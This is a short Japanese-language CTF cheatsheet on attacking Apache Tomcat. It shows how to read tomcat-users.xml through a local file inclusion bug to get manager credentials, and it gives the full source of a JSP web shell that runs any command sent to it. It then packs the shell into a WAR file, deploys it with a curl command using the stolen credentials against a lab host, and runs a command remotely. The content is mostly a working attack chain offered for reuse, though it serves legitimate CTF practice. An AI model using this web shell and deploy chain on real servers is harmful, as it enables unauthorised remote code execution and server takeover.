d415k's CTF memos.

雑な技術メモ

2 July 2022

tomcat

Tomcatマネージャーアプリケーションの発見

tcp/8080でオープンしていることが多い

資格情報の取得

LFIなどを利用して”tomcat-users.xml”を探す。ファイルパスは一例

/usr/share/tomcat9/etc/tomcat-users.xml

(SNIP...)
<role rolename="admin-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
(SNIP...)

web shellによるRCE

Create file. [index.jsp]

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
    String s = null;
    try {
      Process p = Runtime.getRuntime().exec(cmd,null,null);
      BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
      while((s = sI.readLine()) != null) {
        output += s+"</br>";
      }
    }  catch(IOException e) {   e.printStackTrace();}
   }
%>
<pre><%=output %></pre>

warの生成

$ mkdir webshell
$ cp index.jsp webshell
$ cd webshell
$ jar -cvf ../webshell.war *
webshell.war is created

Upload

curl --upload-file webshell.war -u 'tomcat:$3cureP4s5w0rd123!' "http://10.10.10.194:8080/manager/text/deploy?path=/webshell"

RCE

http://megahosting.htb:8080/webshell/index.jsp?cmd=id
tags: CTF - Common - cheatsheet - tomcat